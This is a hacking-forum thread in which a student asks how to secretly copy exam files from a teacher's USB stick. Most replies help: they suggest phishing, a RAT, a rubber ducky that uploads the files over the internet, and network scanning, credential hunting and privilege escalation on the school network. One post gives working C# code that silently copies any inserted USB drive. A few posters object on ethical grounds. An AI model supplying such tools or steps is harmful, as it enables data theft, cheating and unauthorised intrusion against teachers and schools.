Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Shell 

Hey, guys, is it possible to secretly copy a USB flash drive?

Hey Guys

I know that my teachers have the final exams on the USB stick,
if it is possible I would like to secretly copy the exams.

And now to my question:


Can you write a program on a USB stick that secretly copies the data from a teacher's USB stick to my stick without noticing?

thank you so much for your replies?
(Sep 9, 2019 05:24 AM)bladetest21 Wrote:  Hey Guys

I know that my teachers have the final exams on the USB stick,
if it is possible I would like to secretly copy the exams.

And now to my question:


Can you write a program on a USB stick that secretly copies the data from a teacher's USB stick to my stick without noticing?

thank you so much for your replies?

yes i can help u but you need to get some hardward items form amazon at total 20 and lll teach u for free
or you can go the cyber way and do a small phishing attack i made. im not respondable for what u do if you do this

(Sep 12, 2019 06:34 PM)PwnedLevel1000 Wrote:  yes i can help u but you need to get some hardward items form amazon at total 20 and lll teach u for free
or you can go the cyber way and do a small phishing attack i made. im not respondable for what u do if you do this

sorry for my english
A Llinux machine primed with a DD command
If you could somehow get it plugged into your machine for less than 1 min you could have time to run a python script to copy to your computer. Or vise versa if you could get your USB into his computer, you could run a script to steal it as well.
[Image: F2G97kn.png]
That's kind of creepy. Why would you want to "secretly" copy a USB drive? If it's your own drive, there's no need to secretly copy it. If it's someone else's drive; then what are you some sort of stalker? That's really weird and creepy.
(Sep 27, 2019 09:23 PM)loomski Wrote:  That's kind of creepy. Why would you want to "secretly" copy a USB drive? If it's your own drive, there's no need to secretly copy it. If it's someone else's drive; then what are you some sort of stalker? That's really weird and creepy.

Have you not read the conversation ?
He want to get the exams from a usb stick from one of his teachers.

There are 2 Good ways to make this happening:
1. Hardware fetching ( USB Stick -> USB Cable -> Raspberry or arduino -> PC )
2. Software fetching install an Rat or small script on the PC which will copy files to a USB stick or send you an email with all USB data

But anyway, just learn the stuff you need to learn instead of trying to hack some teacher...
This is my take on the problem written in c#

Code
using System;
using System.IO;
using System.Management;

namespace USBCloner
{
   class Program
   {
        //@Bunnyslippers69 HackForums\\
       static void Main(string[] args)
       {
           ManagementEventWatcher watcher = new ManagementEventWatcher();
           WqlEventQuery query = new WqlEventQuery("SELECT * FROM Win32_VolumeChangeEvent WHERE EventType = 2");
           watcher.EventArrived += new EventArrivedEventHandler(watcher_EventArrived);
           watcher.Query = query;
           watcher.Start();
           watcher.WaitForNextEvent();
           Console.ReadLine();
       }

       static void watcher_EventArrived(object sender, EventArrivedEventArgs e)
       {
           Console.WriteLine("Copying");
           DirectoryInfo source = new DirectoryInfo(e.NewEvent.Properties["DriveName"].Value.ToString() + @"\");
           DirectoryInfo dest = new DirectoryInfo(Directory.GetCurrentDirectory() + @"\cloned");
           CopyFilesRecursively(source, dest);
           Console.WriteLine("Finished Copying");
       }

       public static void CopyFilesRecursively(DirectoryInfo source, DirectoryInfo target)
       {
           foreach (DirectoryInfo dir in source.GetDirectories())
               CopyFilesRecursively(dir, target.CreateSubdirectory(dir.Name));
           foreach (FileInfo file in source.GetFiles())
               file.CopyTo(Path.Combine(target.FullName, file.Name));
       }


   }
}


Once a USB stick is plugged in, it'll copy the files to the directory the program was run from.
Why everyone over complex hacks... if you can get the USB for few minutes, just use Belkin USB Anywhere

You plug your USB and the target USB into the hub and press copy and it does the job.

Sorted
nice share ! thank you i will try
(Sep 9, 2019 05:24 AM)bladetest21 Wrote:  Hey Guys

I know that my teachers have the final exams on the USB stick,
if it is possible I would like to secretly copy the exams.

And now to my question:


Can you write a program on a USB stick that secretly copies the data from a teacher's USB stick to my stick without noticing?

thank you so much for your replies?

Another method. Yes its possible, but you would need to manually execute the script/ exe..

How able gaining access to her computer remotely whilst on the school network..

Get AngryIP scanner and look to see what computers the computer your on can reach.. then see if its ez open to access shares etc.. if not, look for creds stored stupidly on the computer your own.. then elevate to gain remote access, most the time the password is the same on each computer
(Dec 7, 2019 05:01 AM)is_nimda Wrote:  Another method. Yes its possible, but you would need to manually execute the script/ exe..

How able gaining access to her computer remotely whilst on the school network..

Get AngryIP scanner and look to see what computers the computer your on can reach.. then see if its ez open to access shares etc.. if not, look for creds stored stupidly on the computer your own.. then elevate to gain remote access, most the time the password is the same on each computer

The above sounds like the best idea.
(Dec 7, 2019 05:01 AM)is_nimda Wrote:  Another method. Yes its possible, but you would need to manually execute the script/ exe..

How able gaining access to her computer remotely whilst on the school network..

Get AngryIP scanner and look to see what computers the computer your on can reach.. then see if its ez open to access shares etc.. if not, look for creds stored stupidly on the computer your own.. then elevate to gain remote access, most the time the password is the same on each computer

Hi there even i need help
not with that USB thing but with that remotely hacking of system by using same network
Just steal the usb stick from them
First of all I want to dissuade you (or any other inspired by this brave user) from performing a similar action.
Ask yourself:
- Am I fooling the teacher or just myself?
- Should I cheat all my classmates just for an egoist purpose?
- Is it really worth the risk?

If I were you I would just have some fun with a friend of yours with a similar tricks, it's already so much fun !
Answering your question and avoiding to repeat the already suggested vectors of attack I would say that a similar result can be obtained with a rubber ducky (or similar).
Given that the target has internet access, the advantage is that once the payload is started you could instantly remove the "flash drive" without the need to wait for the whole copy operation to be performed.
In this way you can just upload the target content in your favourite way.
(Sep 27, 2019 09:23 PM)loomski Wrote:  That's kind of creepy. Why would you want to "secretly" copy a USB drive? If it's your own drive, there's no need to secretly copy it. If it's someone else's drive; then what are you some sort of stalker? That's really weird and creepy.

OP literally explained the exact situation in the original post.
Thanks to spiral for upgrading me l33t! <3


Possibly Related Threads...
Thread / Author Replies Views Last Post
[Shell] by GG Luck GGJul 21, 2017 04:06 AM 2 156 Jul 21, 2017 04:06 AM
Last Post: Sphere of Madness
[.NET] by Zilog80Feb 16, 2017 11:56 AM 12 733 Feb 16, 2017 11:56 AM
Last Post: Zilog80
[.NET] by dirty cowJan 20, 2017 01:43 PM 2 134 Jan 20, 2017 01:43 PM
Last Post: Soulmate~っ☆